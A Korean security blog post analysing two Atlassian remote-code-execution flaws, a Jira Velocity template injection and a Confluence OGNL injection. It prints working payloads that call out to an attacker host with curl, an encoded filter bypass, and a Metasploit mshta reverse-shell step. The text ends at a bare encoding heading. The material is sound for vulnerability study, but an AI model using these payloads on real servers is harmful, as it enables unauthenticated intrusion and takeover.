ν‹°μŠ€ν† λ¦¬ λ·°

WEB

Atlassian RCE 취약점

🌧: 2021. 9. 12.

κ°œμš”

μ•„ν‹€λž€μ‹œμ•„μ˜ λŒ€ν‘œμ μΈ 취약점 사둀듀을 μ•Œμ•„λ³΄λŠ” λ§ˆμ§€λ§‰ μ±•ν„°μž…λ‹ˆλ‹€. μ΄λ²ˆμ—λŠ” 비ꡐ적 νŒŒκΈ‰νš¨κ³Όκ°€ 큰 RCE(Remote Code Excution) 포인트λ₯Ό μ•Œμ•„λ³΄κ² μŠ΅λ‹ˆλ‹€. λŒ€λΆ€λΆ„μ˜ μ˜€ν”ˆμ†ŒμŠ€ ν”„λ ˆμž„μ›Œν¬ κ΄€λ ¨ν•΄μ„œ λ„μΆœλœ 취약점듀은 λ‚΄λΆ€μ˜ 원본 μ½”λ“œλ₯Ό 확인할 수 있기 λ•Œλ¬Έμ— 정적인 뢄석을 톡해 μ‹œμŠ€ν…œμ— 직접적인 μΉ¨ν•΄λ₯Ό κ°€ν•  수 μžˆλŠ” 포인트λ₯Ό μ°Ύμ•„λ‚΄λŠ” μΌ€μ΄μŠ€κ°€ λ§ŽμŠ΅λ‹ˆλ‹€.

 

Sever Template Injection(CVE-2019–11581)

곡격 ν¬μΈνŠΈλŠ” 첫번째둜 JIRAμ„œλ²„μ— SMTP ꡬ성이 λ˜μ–΄ 있고 "bulk email send(λŒ€μš©λŸ‰ 메일 보내기)" λ˜λŠ” "Contact Admin"이 ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.

<영ν–₯ 버전>
4.4.0 < 7.6.14,
7.7.0 < 7.13.5
8.0.0 < 8.0.3
8.1.0 < 8.1.2
8.2.0 < 8.2.3

 

Exploit ν•˜κΈ° μœ„ν•΄ 사전에 둜그인 인증을 κ±°μΉ˜κ±°λ‚˜(bulk email send) 둜그인 인증 없이(Contact Admin) κ΄€λ¦¬μžμ—κ²Œ 연락할 수 μžˆλŠ” μ˜΅μ…˜(κΈ°λ³Έκ°’: λΉ„ν™œμ„±ν™”)을 μ‚¬μš©ν•˜κ³  μžˆλŠ” κ²½μš°μ— Server Template Injection이 μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

일반적으둜 Template Injection μ·¨μ•½μ λ“€μ€ κ³΅κ²©μžλ“€μ΄ λŒ€μƒ μ„œλΉ„μŠ€μ—μ„œ μ œκ³΅ν•˜λŠ” κΈ°λ³Έ ν…œν”Œλ¦Ώ κ΅¬λ¬Έμ„ ν™œμš©ν•˜μ—¬ μ•…μ˜μ μΈ μ½”λ“œλ₯Ό μ‚½μž… ν›„ μƒλŒ€λ°© μΈ‘μ—μ„œ μ½”λ“œκ°€ μ‹€ν–‰λ˜λ„둝 ν•˜λŠ” 것을 λͺ©μ μœΌλ‘œ κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€.

취약점 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•΄ "ν™œμ„±ν™”"둜 μ„€μ •ν•˜κ³  μ§„ν–‰ν•˜κ² μŠ΅λ‹ˆλ‹€. 기본적으둜 Contact Administrators Formμ΄λΌλŠ” κ΄€λ¦¬μž 연락 양식은 "λΉ„ν™œμ„±ν™”"된 μƒνƒœλ‘œ λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. ν•΄λ‹Ή κΈ°λŠ₯이 ν™œμ„±ν™”λ  경우  velocity 기반의 ν…œν”Œλ¦Ώμ΄ λ‘œκ·ΈμΈλ˜μ§€  μ•Šμ€ μ‚¬μš©μžλ“€μ—κ²Œλ„ 제곡되게 λ©λ‹ˆλ‹€.

 

κ΄€λ¦¬μž μ—°λ½ μ–‘식을 ν™œμ„±ν™”ν•˜κΈ° μœ„ν•΄μ„  κ΄€λ¦¬μž μΈ‘의 SMTP μ„œλ²„κ°€ ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄μ•Ό λ©λ‹ˆλ‹€.

 

ν™œμ„±ν™”κ°€ λ˜λ©΄ μœ„μ²˜λŸΌ "ON"μ΄λΌλŠ” λ¬Έκ΅¬λ‘œ λ³€κ²½λ©λ‹ˆλ‹€.

 

ν…ŒμŠ€νŠΈλ₯Ό μ§„ν–‰ν•˜κΈ° μœ„ν•΄ ACL이 μ μš©λ˜μ–΄ μžˆμ§€ μ•Šκ³  κ΄€λ¦¬μž 연락 양식을 ν™œμ„±ν™”ν•˜μ—¬ μ‚¬μš©λ˜μ–΄ μžˆλŠ” ν™˜κ²½μ„ 톡해 Exploit ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” λ‚΄λΆ€μ— ν”Œλž«νΌμ„ μ΄μš©ν•˜κΈ° μœ„ν•œ λ³„λ„μ˜ λ‘œκ·ΈμΈ κ³„정을 λΆ€μ—¬λ°›μ§€ λͺ»ν•œ μƒν™©μž…λ‹ˆλ‹€.

 

μ•„ν‹€λž€μ‹œμ•„ μ˜ λ©”인 νŽ˜μ΄μ§€ λ˜λŠ” λ‘œκ·ΈμΈ νŽ˜μ΄μ§€ μ œμΌ ν•˜λ‹¨μœΌλ‘œ λ‚΄λ €λ³΄μ‹œλ©΄ "Report a Problem"μ΄λΌλŠ” λ§ν¬ νƒœκ·Έκ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€. μ΄ 뢀뢄을 ν†΅ν•΄ μ ‘κ·Όν•˜μ‹œλ©΄ ν™œμ„±ν™”λœ κ΄€λ¦¬μž μ—°λ½ μ–‘μ‹μœΌλ‘œ μ΄λ™λ©λ‹ˆλ‹€.

 

곡격을 μ§„ν–‰ν•  End-Point μ˜μ—­μž…λ‹ˆλ‹€. μ·¨μ•½μ  μ„€λͺ…을 μ½μ–΄λ³΄λ©΄ Subject에 μ‚¬μš©μžμ˜ μž…λ ₯ κ°’을 μ œλŒ€λ‘œ κ²€μ¦ν•˜μ§€ μ•Šμ•„ κ³΅κ²©μžκ°€ μ‚½μž…ν•œ μž„μ˜μ½”λ“œκ°€ κ΄€λ¦¬μž ν™˜κ²½μ—μ„œ λ°˜μ‚¬ ν˜ΈμΆœλ˜μ–΄ μ‹€ν–‰λœλ‹€κ³  μ„€λͺ…ν•©λ‹ˆλ‹€.

 

μ‚½μž…λ˜λŠ” μ½”λ“œμ˜ ν˜•νƒœλŠ” μ–΄λ–€ ν…œν”Œλ¦Ώ 엔진을 쓰냐에 따라 μ‘°κΈˆμ”© λ‹¬λΌμ§‘λ‹ˆλ‹€. Jira SoftwareλŠ” Apache Velocity ν…œν”Œλ¦Ώ 엔진을 톡해 μ‚¬μš©μžλ“€μ—κ²Œ 이메일 전솑과 κ΄€λ ¨λœ ν…œν”Œλ¦Ώμ„ λ Œλ”λ§ ν•©λ‹ˆλ‹€. HTML μ½˜ν…μΈ μ™€ ν•¨κ»˜ JAVAκΈ°λŠ₯을 ν˜ΈμΆœν•˜κ³  객체λ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ—¬κΈ°μ„œ κ³΅κ²©μžκ°€ μ†ŒμŠ€μ½”λ“œλ₯Ό λΆ„μ„ν•˜μ—¬ ν…œν”Œλ¦Ώ μ—”μ§„μ˜ μƒŒλ“œλ°•μŠ€ λ‚΄λΆ€μ˜ λ³€μˆ˜(hidden)에 μ½”λ“œλ₯Ό μ‚½μž…ν•  수 있게 되면 μ›κ²©μ½”λ“œ 취약점이 μ™„μ„±λ©λ‹ˆλ‹€.

 

κ΄€λ¦¬μžμ—κ²Œ 연락을 전달할 νŽ˜μ΄μ§€μ˜ μ½”λ“œμž…λ‹ˆλ‹€. λ§Œμ•½ XSRF λ³΄μ•ˆ 토큰 κ΄€λ ¨ μ΄μŠˆκ°€ λ°œμƒν•œλ‹€λ©΄ λΈŒλΌμš°μ € μΊμ‹œ 기둝을 μ œκ±°ν•΄μ£Όμ‹œκ³  μ•„ν‹€λž€μ‹œμ•„λ₯Ό μž¬μ‹€ν–‰ν•΄μ£Όμ‹œλ©΄ ν•΄κ²°λ©λ‹ˆλ‹€.

 

취약점이 λ°œμƒν•œ λΆ€λΆ„μ˜ μ†Œμ†Œμ½”λ“œλ₯Ό 가져와보면 ν˜„μž¬ "subject"둜 λΆˆλ¦¬λŠ” μ˜μ—­μ΄ ν…œν”Œλ¦Ώμ— 직접 μ‚½μž…λ˜λŠ” λ¬Έμ œκ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

νŒ¨μΉ˜κ°€ μ§„ν–‰λœ μ†ŒμŠ€μ½”λ“œμ˜ 경우 μ•„λž˜μ™€ 같이 subjectλΌλŠ” λ³€μˆ˜λ₯Ό μΆ”κ°€μ μœΌλ‘œ μƒμ„±ν•˜μ—¬ μž…λ ₯ 값을 λ°›λŠ” κ²ƒμœΌλ‘œ 쑰치λ₯Ό μ·¨ν–ˆμŠ΅λ‹ˆλ‹€.

 

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://AttackIP').waitFor()

κ΄€λ¦¬μž μ„œλ²„ -> 곡격자 μ„œλ²„λ‘œ μ»€λ§¨λ“œλ₯Ό 날렀보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” 내뢀에 ν”Œλž«νΌμ„ μ΄μš©ν•˜κΈ° μœ„ν•œ λ³„λ„μ˜ 둜그인 계정을 뢀여받지 λͺ»ν•œ μƒν™©μ΄μ§€λ§Œ ν™œμ„±ν™”λœ κ΄€λ¦¬μž 연락 양식에 μ‚¬μš©λ˜λŠ” Velocity ν…œν”Œλ¦Ώμ˜ 취약점을 μ•…μš©ν•˜μ—¬ λ‚΄μž₯ ν•¨μˆ˜λ₯Ό 톡해 JAVA λ¦¬ν”Œλ ‰μ…˜μ„ λ°œμƒμ‹œμΌœ μ½”λ“œλ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

곡격자 μ„œλ²„μ—μ„œ μ›Ή μ„œλ²„ 둜그λ₯Ό 찍어보면 μœ„μ™€ 같이 κ΄€λ¦¬μž(Atlassian)μ—μ„œ μ»€λ§¨λ“œ 호좜이 λ°œμƒν–ˆλ˜ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ›κ²©μœΌλ‘œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλ‹€λŠ” 것을 톡해 κ³΅κ²©μžλŠ” μž„μ˜ νŒŒμΌμ„ μ‹€ν–‰ λ˜λŠ” μ‹œμŠ€ν…œμ˜ μ„€μ • 값을 λ³€μ‘°ν•˜μ—¬ 침투의 경둜λ₯Ό μƒμ„±ν•˜κ²Œ λ˜λŠ”λ° μ΄λ•Œ Metasploit Framework을 톡해 μœˆλ„μš°μ˜ "mshta"λ₯Ό μ•…μš©ν•˜μ—¬ κ΄€λ¦¬μžμ™€ 곡격자 κ°„μ˜μ„ μ—΄λ©΄ λ©λ‹ˆλ‹€.

 

*mshta Attack λž€

"μ‚¬μš©μžκ°€ μ‹€ν–‰ν•  수 μžˆλŠ” ν”„λ‘œκ·Έλž¨μ„ μ œν•œν•  수 μžˆλŠ” AppLocker의 μ •μ±… μš°νšŒν•  수 있으며 μ΄λŠ” Windows 7λΆ€ν„° λ„μž…λœ 기술"(백신을 μš°νšŒν•˜λŠ”λ°λ„ μœ μš©ν•˜λ©°, DBDμ—μ„œλ„ 많이 μ‚¬μš©λμŒ)

HTA νŒŒμΌμ€ "HTML μ‘μš© ν”„λ‘œκ·Έλž¨"으둜Windowsμ—μ„œλŠ”νŒŒμΌμ„ 톡해 HTML μ‘μš© ν”„λ‘œκ·Έλž¨ 호슀트λ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 즉 .hta -> .exe μΈκ²ƒμ²˜λŸΌ μ·¨κΈ‰

 

Metasploitμ—λŠ” μ•…μ„± .htaνŒŒμΌμ„ μƒμ„±ν•΄μ£ΌλŠ” "HTA Web Server" κΈ°λŠ₯이 ν¬ν•¨λ˜μ–΄ 있기 λ•Œλ¬Έμ— URIPATHλŠ” μ›ν•˜λŠ” λ¬Έμžμ—΄μ„ 지정해주면 λ©λ‹ˆλ‹€. λ§Œμ•½ μ§€μ •ν•˜μ§€ μ•Šμ„ 경우 랜덀 ν˜•μ‹μœΌλ‘œ 배치

 

곡격자 μ„œλ²„μ— μ•…μ„± .hta νŒŒμΌμ„ κ΄€λ¦¬μž ν™˜κ²½μ—μ„œ 슀슀둜 μ‹€ν–‰ν•˜λ„λ‘ ν•˜μ—¬ λ¦¬λ²„μŠ€ μ‰˜μ΄ λ˜λ„λ‘ μš”μ²­ν•œλ‹€. μ½”λ“œλ₯Ό 보낸 ν›„ λ°”λ‘œ μ„Έμ…˜μ΄ μ—°κ²°λ˜μ§€ μ•Šμ„ μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. μž…λ ₯된 Subject의 값이 MailQueue 전솑 λŒ€κΈ°μ—΄μ— λ“€μ–΄μ„œλ©΄μ„œ 일정 μ‹œκ°„μ˜ λŒ€κΈ°μ‹œκ°„μ΄ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.(μž¬μ „μ†‘ λ˜λŠ” μž μ‹œ λŒ€κΈ° ν•„μš”)

 

Sending Stage κ°€ λ‚˜νƒ€λ‚˜μ§€ μ•Šμ•„ μ½”λ“œλ₯Ό ν•œ 번 더 μš”μ²­ν•œ κ²°κ³Ό 일정 μ‹œκ°„(μ•½ 5초)μ§€λ‚˜λ‹ˆ λŒ€κΈ°μ—΄μ— 있던 μ½”λ“œλ“€μ΄ μ—°μ†μ μœΌλ‘œ μ‹€ν–‰λ˜λ©΄μ„œ sessions에 λ‚˜νƒ€λ‚©λ‹ˆλ‹€.

 

ν…œν”Œλ¦Ώμ΄ κ΄€λ¦¬μžμ—κ²Œ μ „λ‹¬λ˜λ©΄ μ΅œμ’…μ μœΌλ‘œ ASTMethod.execute() λ©”μ†Œλ“œλ‘œ μ΄λ™ν•˜κ²Œ λ˜λŠ”λ° ν•΄λ‹Ή λ©”μ†Œλ“œλŠ” μ›λž˜ Velocity ꡬ문 뢄석 ν…œν”Œλ¦Ώ ν”„λ‘œμ„ΈμŠ€μ—μ„œ λ°˜μ‚¬ ν˜ΈμΆœμ„ 톡해 -> 배경색, ν…μŠ€νŠΈ μ½˜ν…μΈ , νŽ˜μ΄μ§€ μ½”λ“œλ₯Ό μ–»λŠ” 것과 ν…œν”Œλ¦Ώ λ Œλ”λ§ μž‘μ—…μ„ μ™„λ£Œν•˜λ„λ‘ λ˜μ–΄ μžˆμ§€λ§Œ κ³΅κ²©μžκ°€ μ‘°μž‘λœ 싀행문을 μ „λ‹¬ν•˜μ—¬ "java.lang.Runtime.getRuntime"이 λ°˜μ‚¬ ν˜ΈμΆœλ˜λ„λ‘ ν•˜μ—¬ μž„μ˜ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

OGNL Injection(CVE-2021-26084)

μ•½ 2μ£Ό 전쯀에 μ•„ν‹€λž€μ‹œμ•„λ₯Ό λŒ€μƒμœΌλ‘œ OGNL Injection 취약점이 κ³΅κ°œλ˜μ—ˆμŠ΅λ‹ˆλ‹€. κ³΅κ²©μ„ μˆ˜ν–‰ν•˜κΈ° μœ„ν•œ λ³„λ„μ˜ μ œμ•½μ‘°κ±΄μ΄ μ—†μ–΄ ν•΄μ™Έμ—μ„œλŠ” μ§€κΈˆκΉŒμ§€λ„ λŒ€κ·œλͺ¨ μŠ€μΊλ‹μ΄ 이루어지고 μžˆλ‹€λŠ” 것을 λ°°λ“œνŒ¨ν‚·μ‚¬μ—μ„œ λ°œν‘œν–ˆμŠ΅λ‹ˆλ‹€.

 

<영ν–₯ 버전>
4.x ~ 6.12.x 버전
Before < 6.13.23
6.14 ~ 7.3.x 버전
Before < 7.4.11
7.5.x ~ 7.10.x 버전
Before < 7.11.6
Before < 7.12.5

영ν–₯을 λ°›λŠ” λ²„μ „μ˜ Confluence Server 및 Data Centerμ—λŠ” 인증된 μ‚¬μš©μžμ™€ κ²½μš°μ— 따라 μΈμ¦λ˜μ§€ μ•Šμ€ μ‚¬μš©μžκ°€ Confluenceλ˜λŠ” Data Center μΈμŠ€ν„΄μŠ€μ—μ„œ html ν•„λ“œλ₯Ό λŒ€μƒμœΌλ‘œ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” OGNL μΈμ μ…˜μ„ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

End-Point에 μ‚¬μš©μžκ°€ 계정을 λ§Œλ“€κΈ° μœ„ν•΄ κ°€μž…ν•˜λ„λ‘ ν—ˆμš©ν•˜λ„λ‘ ν™œμ„±ν™”(κΈ°λ³Έκ°’)된 경우 κ΄€λ¦¬μžκ°€ μ•„λ‹Œ μ‚¬μš©μž λ˜λŠ” μΈμ¦λ˜μ§€ μ•Šμ€ μ‚¬μš©μžκ°€ μ•‘μ„ΈμŠ€ ν•  수 μžˆλŠ” 만큼 CVSSλŠ” 9.8μ λŒ€λ‘œ 높은 점수λ₯Ό λ°›μ•˜μŠ΅λ‹ˆλ‹€.

 

OGNL(Object-Graph Navigation Language) ν‘œν˜„μ‹μ΄λž€?

"μžλ°” ν”„λ‘œκ·Έλž˜λ° μ–Έμ–΄κ°€ 자체 μ§€μ›ν•˜λŠ” ꡬ문보닀 κ°„μ†Œν™”λœ ν˜•νƒœλ‘œ μžλ°” 객체의 속성 값을 κ°€μ Έμ˜€κ±°λ‚˜ μ„€μ •ν•  λ•Œ μ“°μž…λ‹ˆλ‹€. κ°„λ‹¨νžˆ μ–˜κΈ°ν•΄ λ‚΄λΆ€μ˜ 정보듀을 μΆ”μΆœν•˜μ—¬ ν™œμš©ν•  λ•Œ μ“°μ΄λŠ” κ²ƒμœΌλ‘œ μƒκ°ν•˜λ©΄ λ©λ‹ˆλ‹€."

 

둜그인 계정을 뢀여받지 μ•Šμ€ 곡격자둜 κ°€μ •ν•˜μ— μ§„ν–‰ν•œλ‹€. μš°μ„  μ ‘κ·Όν•˜λ©° 1차적으둜 둜그인 νŽ˜μ΄μ§€κ°€ λ‚˜νƒ€λ‚˜κ³  별닀λ₯Έ μ•‘μ„ΈμŠ€ ν¬μΈνŠΈκ°€ μ‹λ³„λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

 

κ³΅κ²©ν¬μΈνŠΈκ°€ λ μ½”λ“œλ‘œ 비인증 μƒνƒœμ—μ„œλŠ” μ›Ή ν‘œλ©΄μ— μœ„μΉ˜κ°€ λ…ΈμΆœλ˜μ–΄ μžˆμ§€ μ•Šμ•„Requestμ™€κ°„μ˜ 응닡을 λΉ„κ΅ν•˜λ©΄μ„œ 진행해야 λ©λ‹ˆλ‹€.λ˜λŠ” ZAPμ‚¬μš©)

 

첫 λ²ˆμ§Έλ‘œν…œν”Œλ¦Ώμ„ λ Œλ”λ§ ν•˜λŠ” λͺ¨λ“  κ²½λ‘œλŠ” 둜그인 μœ λ¬΄μ™€ 상관없이 μΈμ¦λ˜μ§€ μ•Šμ€ μƒνƒœλ‘œ 접근이 κ°€λŠ₯ν•˜λ‹€λŠ” λ¬Έμ œκ°€ 1차적으둜 μ‘΄μž¬ν•©λ‹ˆλ‹€. ν”„λ‘μ‹œλ₯Ό 톡해 μ—”λ“œν¬μΈνŠΈ μœ„μΉ˜λ‘œ κ°•μ œ ν˜ΈμΆœμ„ 해보면 응닡 μ½”λ“œμ— λ‚˜νƒ€λ‚˜λŠ”λ°, μ΄ μ€‘μ—μ„œ μœ μ‹¬ν•˜κ²Œ 확인해볼 ν•„μš”κ°€ μžˆλŠ” λ§₯κ°œλ³€μˆ˜λŠ” queryStringμž…λ‹ˆλ‹€.

 

' -> &#39; -> &amp;#39;
+ -> none

μ·¨μ•½ 유무λ₯Ό ν…ŒμŠ€νŠΈν•˜κΈ° μœ„ν•΄ ${EL}ꡬ문을 μ£Όμž…ν•΄λ³΄λ©΄ 별닀λ₯Έ λ°˜μ‘μ΄ μ—†μ§€λ§Œ κΈ°ν˜Έμ— λ”°λ₯Έ μ΄μŠ€μΌ€μ΄ν”„ 처리λ₯Ό ν•˜κ³  μžˆμ–΄ 이 뢀뢄을 λ‹€λ₯΄κ²Œ ν‘œν˜„ν•˜μ—¬ λ°˜μ‘μ„ λ‹€μ‹œ ν•œλ²ˆ 체크해볼 ν•„μš”κ°€ μžˆμŠ΅λ‹ˆλ‹€.

 

μš°λ¦¬λŠ” HTML Form ν˜•νƒœλ‘œ μš”μ²­ 값을 λ³€κ²½ν•˜μ—¬ μ „λ‹¬ν•˜λŠ” κ²ƒμ΄λ‹ˆ 헀더에 "application"νƒ€μž…μ„ λ³„λ„λ‘œ μΆ”κ°€ν•˜μ—¬ μš”μ²­ν•΄μ•Ό λ©λ‹ˆλ‹€.

 

μ‹±κΈ€ μΏΌν„°λ₯Όμ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€" ν˜•νƒœλ‘œ 그리고 + κΈ°ν˜ΈλŠ” λ‹¨μˆœ URL Encode ν˜•νƒœλ‘œ μš”μ²­ν•˜μ—¬ μ „λ‹¬ν•˜λ©΄ μž…λ ₯ κ°’ ν•„ν„°λ§μ—μ„œ νƒˆμΆœν•  수 있게 되며, μ‚½μž…λœ ꡬ문을 μ„œλ²„ μΈ‘μ—μ„œ 이해λ₯Ό ν•˜κ³  μ‹€ν–‰λœλ‹€λŠ” 점을 νŒŒμ•…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

1차적으둜 ν‘œν˜„μ‹μ„ μ‚½μž…ν•  κΈ°ν˜Έλ“€μ€ μš°νšŒκ°€ κ°€λŠ₯ν–ˆμ§€λ§Œ λ‚΄μž₯ 객체에 접근을 μ‹œλ„ν•˜λ©΄ isSafeExpression() λ©”μ†Œλ“œκ°€ ν˜ΈμΆœλ˜λ©΄μ„œ μ›ν•˜λŠ” μ½”λ“œ 처리λ₯Ό μ œλŒ€λ‘œ ν•˜μ§€ λͺ»ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

μ˜ˆμ™Έμ²˜λ¦¬κ°€ μ§„ν–‰λ˜λŠ”μ§€ ν™•μΈν•˜κΈ° μœ„ν•΄ μ†ŒμŠ€μ½”λ“œμ˜ 일뢀뢄을 κ°€μ Έμ™”μŠ΅λ‹ˆλ‹€. κ²‰λ³΄κΈ°λ‘œ 봀을 땐 마치 SpEL Injection 같은 μ•…μ˜μ μΈ ν‘œν˜„μ‹μ„ ν•„ν„°λ§ν•˜κΈ° μœ„ν•΄ μ‚¬μš©λ˜λŠ” κ²ƒμœΌλ‘œ ν™•μΈλ©λ‹ˆλ‹€.

 

ν•˜μ§€λ§Œ Whitelist κ°€ μ•„λ‹Œ Blacklist λ°©μ‹μœΌλ‘œ 절차λ₯Ό 거치기 λ•Œλ¬Έμ— 우회 μ‹œλ„λ₯Ό ν•  여지λ₯Ό μ£ΌλŠ” 것과 λ§ˆμ°¬κ°€μ§€μž…λ‹ˆλ‹€.(Full Sourceλ₯Ό κ°€μ Έμ˜€κΈ° μœ„ν•΄μ„œλŠ” μ΅œμ†Œ 1회의 λΌμ΄μ„ μŠ€ κ²Œμ•½μ΄ ν•„μš”ν•¨)

 

"".getClass() 클래슀의 μΈμŠ€ν„΄μŠ€λ₯Ό 가져와 λͺ…령을 μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ JAVA λ¦¬ν”Œλ ‰μ…˜μ΄ λ°œμƒλ˜μ•Όν•˜μ§€λ§Œ μœ„μ—μ„œ λ³Ό 수 μžˆλ“―μ΄ getClass() λ©”μ†Œλ“œμ— λŒ€ν•œ 필터링이 μ‘΄μž¬ν•˜μ—¬ isSafeExpression이 λ°œμƒν•©λ‹ˆλ‹€.

 

이럴 λ•ŒλŠ” 직접 ν˜ΈμΆœν•˜λŠ” 것이 μ•„λ‹Œ λ°°μ—΄μ˜ μ ‘κ·Ό 자λ₯Ό ν†΅ν•΄μ„œλ„ 속성에 μ ‘κ·Όν•˜μ—¬ 우회λ₯Ό μ‹œλ„ν•  수 μžˆλ‹€λŠ” 트릭이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

Basic -> Filter "".getClass().forName("java.lang.Runtime")
Array -> Bypass ""["class"].forName("java.lang.Runtime")
<Refference>
https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html

 

Encode -> \u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027
Decode -> '+#{""["class"]}+'

λ‚΄μž₯ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄μ„œ λ°°μ—΄ μ ‘κ·Όμžλ₯Ό 톡해 ν˜ΈμΆœν•˜λ©΄ λœλ‹€λŠ” 것을 ν™•μΈν–ˆμœΌλ‹ˆ 이제 Confluenceμ—μ„œ ν•„ν„°λ§ν•˜κ³  μžˆλŠ” λ¬Έμžμ—΄λ“€λ§Œ λ³„λ„λ‘œ μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€ μ²˜λ¦¬ν•΄μ£Όλ©΄ μš°νšŒκ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

 

*참고둜 java.lang.Runtimeμ΄λž€ μ™ΈλΆ€μ˜ ν”„λ‘œμ„ΈμŠ€λ₯Ό μƒμ„±μ‹œν‚¬ 수 μžˆλŠ” 클래슀둜 λ³„λ„μ˜ μƒμ„±μž 없이 getRuntime()μ΄λΌλŠ” λ©”μ†Œλ“œλ₯Ό 톡해 객체λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. (Runtime ν΄λž˜μŠ€λŠ” ν”„λ‘œκ·Έλž¨κ³Ό 운영체제 κ°„μ˜ μƒν˜Έ μž‘μš©μ„ μœ„ν•œ λ©”μ†Œλ“œλ“€μ΄ μ •μ˜λ˜μ–΄ 있음)

 

<Encode>
success!!\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl http://AttackerIP\u0022)}%2b\u0027

<Decode>
success!!'+
#{
""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl http://AttackerIP")
}
+'

μš°λ¦¬λŠ” 1차적으둜 κΈ°ν˜Έμ— λŒ€ν•œ κ°’ 처리λ₯Ό -> μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€ ν˜•νƒœλ‘œ λ³€ν™˜ν•˜μ—¬ 전달해본 κ²°κ³Ό μœ νš¨ν•œ ν‘œν˜„μ‹μ΄λΌλŠ” 것을 μ•Œκ²Œ λ˜μ—ˆκ³  2차적으둜 SafeExpressionUtillμ—μ„œ λΈ”λž™λ¦¬μŠ€νŠΈλ‘œ μ²˜λ¦¬ν•˜κ³  μžˆλŠ” λ‚΄μž₯ 객체 λ¬Έμžμ—΄λ“€μ„ -> λ°°μ—΄μ ‘κ·Όμž ν˜•νƒœλ‘œ ν˜ΈμΆœν•˜μ—¬ "java.lang.Runtime" 클래슀의 μΈμŠ€ν„΄μŠ€λ₯Ό μ–»κ²Œ λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

 

이후 μΆ”κ°€μ μœΌλ‘œ "getRuntime()" κ³Ό execλ₯Ό 톡해 μ™ΈλΆ€ μ‹œμŠ€ν…œμ„ ν˜ΈμΆœν•  수 μžˆλŠ” ꡬ문을 λ§Œλ“€μ–΄λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μš”μ²­μ„ 전달 ν›„ 곡격자 μ„œλ²„ μ½˜μ†”μ„ μ‹€μ‹œκ°„μœΌλ‘œ 확인해보면 λ°˜μ‘μ΄ μ˜€λŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

WriteUP λ‚΄μš©μ— μ˜ν•˜λ©΄ ν˜„μž¬κΉŒμ§€λŠ” μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€μ™€ λ°°μ—΄ μ ‘κ·Όμžλ₯Ό 톡해 μ–΄λŠ 정도 호좜이 κ°€λŠ₯ν–ˆμ§€λ§Œ μΆ”κ°€μ μœΌλ‘œ μ»€λ§¨λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” κΈ°ν˜Έλ“€μ˜ 필터링이 μž‘ν˜€μžˆμ–΄Baisc ν•œ κ³΅κ²©μ½”λ“œλ‘œλŠ” isSafeExpression에 작히고 λ§Œλ‹€λŠ” λ‚΄μš©μ΄ μžˆμŠ΅λ‹ˆλ‹€.

 

μ΄λŸ¬ν•œ λ¬Έμžμ—΄λ“€μ„ μš°νšŒν•˜κΈ° μœ„ν•΄μ„œλŠ” javax.script.ScriptEngineManagerλ₯Ό μ΄μš©ν•˜μ—¬ Javscript ꡬ문 -> "Java" μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” νŠΈλ¦­μ„ μ‚¬μš©ν•˜λ©΄ λ©λ‹ˆλ‹€. μ•„λž˜μ˜ WriteUP을 톡해 μ°Έκ³ 

https://securitylab.github.com/research/bean-validation-RCE/

 

<Encode>
